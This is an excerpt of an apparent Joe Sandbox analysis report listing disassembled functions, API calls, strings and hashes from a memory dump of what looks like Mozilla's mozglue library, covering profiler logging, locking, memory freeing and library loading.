Instruction Fuzzy Hash: 7131A471B00306CBCF44DF68E8989AEBBB5FB8E324B154629D91297740DB30A947DBD1

Function 6CA79830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CAC7ABE), ref: 6CA7985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CAC7ABE), ref: 6CA798A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CA79909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CA79918
free.MOZGLUE(?), ref: 6CA79975

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 31ab514433f440eabbb309504f10afb7d2226e6ec6ad7145a1cfc7ca27a1131f
Instruction ID: b43e8ef847405aa826f66eaf9eba187eef9c97986137e93cf7e3eb73f618c777
Opcode Fuzzy Hash: 31ab514433f440eabbb309504f10afb7d2226e6ec6ad7145a1cfc7ca27a1131f
Instruction Fuzzy Hash: 8871AD786007058FD724CF78C580956B7F1FF4A3247244AAED85A8BBA0D731F886CBA1

Function 6CA7B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CABCC83,?,?,?,?,?,?,?,?,?,6CABBCAE,?,?,6CAADC2C), ref: 6CA7B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CABCC83,?,?,?,?,?,?,?,?,?,6CABBCAE,?,?,6CAADC2C), ref: 6CA7B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CABCC83,?,?,?,?,?,?,?,?,?,6CABBCAE), ref: 6CA7B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CABCC83,?,?,?,?,?,?,?,?,?,6CABBCAE,?,?,6CAADC2C), ref: 6CA7B896

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 83bdd4021960ff24e2ed1c2e2a5a9df0c013e1a4515ac9a994fe2b776ea61aa2
Instruction ID: 9b96c859448c95909bb215068707d23d3ffa7d578e3dcf468bb8816a2cd2e03d
Opcode Fuzzy Hash: 83bdd4021960ff24e2ed1c2e2a5a9df0c013e1a4515ac9a994fe2b776ea61aa2
Instruction Fuzzy Hash: 29519A797002058FCB25CF58D4C8A6ABBF5FF88318B69865DE99A87351C730EC42CB94

Function 6CAB1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAB1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CAB1BE3,?,?,6CAB1D96,00000000), ref: 6CAB1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CAB1BE3,?,?,6CAB1D96,00000000), ref: 6CAB1D4C
GetCurrentThreadId.KERNEL32 ref: 6CAB1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAB1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAB1DDA

Part of subcall function 6CAB1EF0: GetCurrentThreadId.KERNEL32 ref: 6CAB1F03
Part of subcall function 6CAB1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CAB1DF2,00000000,00000000), ref: 6CAB1F0C
Part of subcall function 6CAB1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAB1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CAB1DF4

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 97cdbef2985802c6b8fb7b4e5e4645bad4aaf0a744bb8bdc7c0a8bbdaf07b556
Instruction ID: 5bcffc0448471dbd261ac22210eb9bb430c00c8708efc1b918701084027a3b12
Opcode Fuzzy Hash: 97cdbef2985802c6b8fb7b4e5e4645bad4aaf0a744bb8bdc7c0a8bbdaf07b556
Instruction Fuzzy Hash: 364179B52007059FCB14CF28D889A66BBF9FB49318F10852DEA5A87B41DB31F854CB94

Function 6CA738A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CAEE220,?,?,?,?,6CA73899,?), ref: 6CA738B2
ReleaseSRWLockExclusive.KERNEL32(6CAEE220,?,?,?,6CA73899,?), ref: 6CA738C3
free.MOZGLUE(00000000,?,?,?,6CA73899,?), ref: 6CA738F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA73920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CA73899,?), ref: 6CA7392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CA73899,?), ref: 6CA73943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6CA7396E

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 6f98fca9fff6825e8b29a14892e1177195b37c7d52c29c156babce6832c88885
Instruction ID: 1385d67f79e975d859064564f2c728a8db2cf8f4771e9ae843b9532053b8a22c
Opcode Fuzzy Hash: 6f98fca9fff6825e8b29a14892e1177195b37c7d52c29c156babce6832c88885
Instruction Fuzzy Hash: 2F21F376602720DFD721DF55C884B86B7B9FF45728F168429E99A97B10C730F886CBA0

Function 6CAA84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA85AC

Part of subcall function 6CAA7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAA85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA767F
Part of subcall function 6CAA7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAA85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA7693
Part of subcall function 6CAA7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAA85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA85B2

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: e4718a2bd09f027f06cf7776653f5f81e8dbf81dc701c73854ce8e193cc70d2c
Instruction ID: f80fd02daa475277984bf2ca7e4be342debeed8768b67bb03c4de364ee1c0f8d
Opcode Fuzzy Hash: e4718a2bd09f027f06cf7776653f5f81e8dbf81dc701c73854ce8e193cc70d2c
Instruction Fuzzy Hash: A42192742007429FDB18DB64D888A5AB7B5BF4430DF18482DE95BC3B41DB31F99ACB91

Function 6CA71640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA71699
VerSetConditionMask.NTDLL ref: 6CA716CB
VerSetConditionMask.NTDLL ref: 6CA716D7
VerSetConditionMask.NTDLL ref: 6CA716DE
VerSetConditionMask.NTDLL ref: 6CA716E5
VerSetConditionMask.NTDLL ref: 6CA716EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA716F9

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: aeef815b5c822a3ded3daeeff52af3e8dc55823e241ea050466e1297fd256ef6
Instruction ID: f54ca81907d9a78a0b2358304cabfd87bedb82ddb6639380b12e6121ec625b82
Opcode Fuzzy Hash: aeef815b5c822a3ded3daeeff52af3e8dc55823e241ea050466e1297fd256ef6
Instruction Fuzzy Hash: F921D5B07403086BEB256A689C85FFB73BCEFCA704F008528F6059B1C0C6749D948BE1

Function 6CAAF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CAAF598), ref: 6CAAF621

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

GetCurrentThreadId.KERNEL32 ref: 6CAAF637
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000,?,6CAAF598), ref: 6CAAF645
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000,?,6CAAF598), ref: 6CAAF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CAAF62A

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 57516c56651a07e68863e85ed88dbe092251c8c1287d12651b85f8f2f60e7604
Instruction ID: eff2e3e5930591064ac3c948af630e9daa03dc09631a19bd3a954975d4021092
Opcode Fuzzy Hash: 57516c56651a07e68863e85ed88dbe092251c8c1287d12651b85f8f2f60e7604
Instruction Fuzzy Hash: E111A775201306AFCB48AF98ED489E57779FB8A358B14441AEA0587F01CB72A857CBE4

Function 6CA71FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CA71FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CA71FFD
__Init_thread_footer.LIBCMT ref: 6CA72011
FreeLibrary.KERNEL32 ref: 6CA72059

Strings

CoCreateInstance, xrefs: 6CA71FF7
combase.dll, xrefs: 6CA71FD9

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: ea3e866ac74dc376b48fe327055a94c75b4934d47af68b3d2810e8b715e60c31
Instruction ID: 50e9e11d048999accf59727ab145fe70dbf785a828f5f913166dd3b56dc85104
Opcode Fuzzy Hash: ea3e866ac74dc376b48fe327055a94c75b4934d47af68b3d2810e8b715e60c31
Instruction Fuzzy Hash: 05114A78241306EFDF688F15EC4DE9A3B79FB5A355F048129E90682640C7309982EFF0

Function 6CA70EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CA9D9F0,00000000), ref: 6CA70F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CA70F3C
__Init_thread_footer.LIBCMT ref: 6CA70F50
FreeLibrary.KERNEL32(?,6CA9D9F0,00000000), ref: 6CA70F86

Strings

combase.dll, xrefs: 6CA70F18
CoInitializeEx, xrefs: 6CA70F36

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 75451bf68291b0130c44c3161204de59a6df09f920cc37a7b76e6df6f9db6ff1
Instruction ID: d6082ba6c98add7454cca8a781fb05091698fd739e9f4f3e9b86ab14eaf92ce1
Opcode Fuzzy Hash: 75451bf68291b0130c44c3161204de59a6df09f920cc37a7b76e6df6f9db6ff1
Instruction Fuzzy Hash: C21191786013429BEF58CF98ED08A5637B4FB9E325F04C22DE90582640D731A886EBF5

Function 6CAAF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAF561

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

GetCurrentThreadId.KERNEL32 ref: 6CAAF577
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF585
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CAAF499
[I %d/%d] profiler_pause_sampling, xrefs: 6CAAF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CAAF56A
[I %d/%d] profiler_resume, xrefs: 6CAAF239

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: d7dc5d74d2171282c3f4979d75e9c6d90d56870e614beff4a9bb122523fdeb93
Instruction ID: 3a249616ba2c924468dd52788d7917f6c9d7e975c2838c1215f064a929625615
Opcode Fuzzy Hash: d7dc5d74d2171282c3f4979d75e9c6d90d56870e614beff4a9bb122523fdeb93
Instruction Fuzzy Hash: 86F0BB756003029FDB445BA5AC4C9597B7CEB8D25DF008519EA0583701DB32484797E4

Function 6CAAF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CAAF598), ref: 6CAAF621

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

GetCurrentThreadId.KERNEL32 ref: 6CAAF637
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000,?,6CAAF598), ref: 6CAAF645
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000,?,6CAAF598), ref: 6CAAF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CAAF62A

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: c007c8e2efab1a09eecf51382022e5a4b9fe00c1a4f9fe353bc81706bcf7e18d
Instruction ID: c05999fc3f6565bc6263fa4b4be3009e0cbd3fc1bceacfb7d59e9d074106fd8f
Opcode Fuzzy Hash: c007c8e2efab1a09eecf51382022e5a4b9fe00c1a4f9fe353bc81706bcf7e18d
Instruction Fuzzy Hash: 4EF0B475200301AFDB486BA4AC4CAAA7B7DEB8E29DF008519EA0583711CB36484797F8

Function 6CA70E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CA70DF8), ref: 6CA70E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CA70EA1
__Init_thread_footer.LIBCMT ref: 6CA70EB5
FreeLibrary.KERNEL32 ref: 6CA70EC5

Strings

kernel32.dll, xrefs: 6CA70E7D
GetProcessMitigationPolicy, xrefs: 6CA70E9B

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 13aba989d4ff0ef34e9add52c517551cefa21d7569b74296edad9a66ab149a38
Instruction ID: b304ade39056c659689af145d31b053c3944c939e34a1167f8961746bba1523f
Opcode Fuzzy Hash: 13aba989d4ff0ef34e9add52c517551cefa21d7569b74296edad9a66ab149a38
Instruction Fuzzy Hash: DA014F74B00383CBDF54AFDAFD58A4233B5F74E314F14852DD90182B40D731A886ABA5

Function 6CAA05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CA9CFAE,?,?,?,6CA631A7), ref: 6CAA05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CA9CFAE,?,?,?,6CA631A7), ref: 6CAA0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA631A7), ref: 6CAA061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA631A7), ref: 6CAA0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAA061B, 6CAA0625
<jemalloc>, xrefs: 6CAA05FA, 6CAA060F

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
